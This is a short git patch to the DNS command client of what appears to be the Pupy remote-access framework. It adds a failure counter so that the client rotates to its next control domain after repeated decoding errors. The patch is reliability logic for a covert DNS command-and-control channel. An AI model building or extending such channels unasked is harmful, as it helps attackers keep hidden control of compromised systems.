From 104ef7bd50e6c1651889e547a977944cbaef65c0 Mon Sep 17 00:00:00 2001
From: Oleksii Shevchuk <alxchk@gmail.com>
Date: Thu, 16 Mar 2017 22:45:15 +0200
Subject: [PATCH] Ensure we will not stuck on DNS with DNSCNC and no our keys

---
 pupy/network/lib/picocmd/client.py | 22 ++++++++++++++++++++--
 1 file changed, 20 insertions(+), 2 deletions(-)

diff --git a/pupy/network/lib/picocmd/client.py b/pupy/network/lib/picocmd/client.py
index c185dfd2..788331b3 100644
--- a/pupy/network/lib/picocmd/client.py
+++ b/pupy/network/lib/picocmd/client.py
@@ -107,12 +107,14 @@ class DnsCommandsClient(Thread):
         self.nonce = random.randrange(0, 1<<32-1)
         self.poll = 60
         self.active = True
+        self.failed = 0
 
         Thread.__init__(self)
 
     def next(self):
         self.domain_id = ( self.domain_id + 1 ) % len(self.domains)
         self.domain = self.domains[self.domain_id]
+        self.failed = 0
 
     def _a_page_decoder(self, addresses, nonce, symmetric=None):
         if symmetric is None:
@@ -181,6 +183,8 @@ class DnsCommandsClient(Thread):
             response = Parcel.unpack(
                 self._a_page_decoder(addresses, nonce)
             )
+
+            self.failed = 0
         except ParcelInvalidCrc:
             logging.error('CRC FAILED / Fallback to Public-key decoding')
 
@@ -193,11 +197,25 @@ class DnsCommandsClient(Thread):
                 self.encoder.kex_reset()
 
             except ParcelInvalidCrc:
-                logging.error('CRC FAILED / Fallback failed also / CRC')
+                logging.error(
+                    'CRC FAILED / Fallback failed also / CRC / {}/{}'.format(
+                        self.failed, 5
+                    )
+                )
+                self.failed += 1
+                if self.failed > 5:
+                    self.next()
                 return []
 
             except ParcelInvalidPayload:
-                logging.error('CRC FAILED / Fallback failed also / Invalid payload')
+                logging.error(
+                    'CRC FAILED / Fallback failed also / Invalid payload / {}/{}'.format(
+                        self.failed, 5
+                    )
+                )
+                self.failed += 1
+                if self.failed > 5:
+                    self.next()
                 return []
 
         return response.commands